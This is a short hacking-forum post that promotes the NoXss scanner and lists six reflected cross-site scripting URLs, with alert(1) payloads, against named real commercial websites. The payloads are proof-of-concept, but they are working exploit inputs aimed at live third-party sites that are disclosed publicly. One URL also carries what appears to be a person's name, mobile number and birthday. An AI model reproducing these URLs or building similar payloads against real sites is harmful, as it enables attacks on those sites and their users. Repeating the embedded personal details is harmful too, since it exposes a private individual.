+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Share some xss that scanner has found (/showthread.php?tid=6036988)
Share some xss that scanner has found - longwenzhang - Dec 30, 2019
The tool is at https://github.com/lwzSoviet/NoXss
I found many xss vulnerablities by using this tool this week,it's really good and fast. I will share some here:
Code
https://716838.com/?proxyAccount=xssjs";alert(1);//&shareName=duhxams
https://dxk.duomai.com/track.php?lid=99&roleId=26640344&site_id=227085&dxk_skuid=100010179658&euid=coupon&aid=4191&t=xssjs%27%3Balert(1);}alert(1);//
https://m.youyuwang.com/goods/668.html?days=xssjs%27%3Balert(1);//
http://dgwestore.nestlechinese.com/weixin/asset/Show.aspx?openid=abcdef&id=xssjs";alert(1)//
https://m.iwcard.com/wap/Jd?accessToken=xssjs%27%3Balert(1);//
https://36.vrm.cn/40?src=ta-ff-xmxx-01-FF_75_806&name=%E6%BD%98%E5%BB%B7%E5%BC%BA&mobile=18023786181&yinliuActivityId=806&sex=1&yinliuUserId=6756091&birthday=1974-07-07&yinliu_company_id=xssjs%27%3Balert(1);//If you have millions of urls to test, NoXss is really a good choice. 🤝
https://github.com/lwzSoviet/NoXss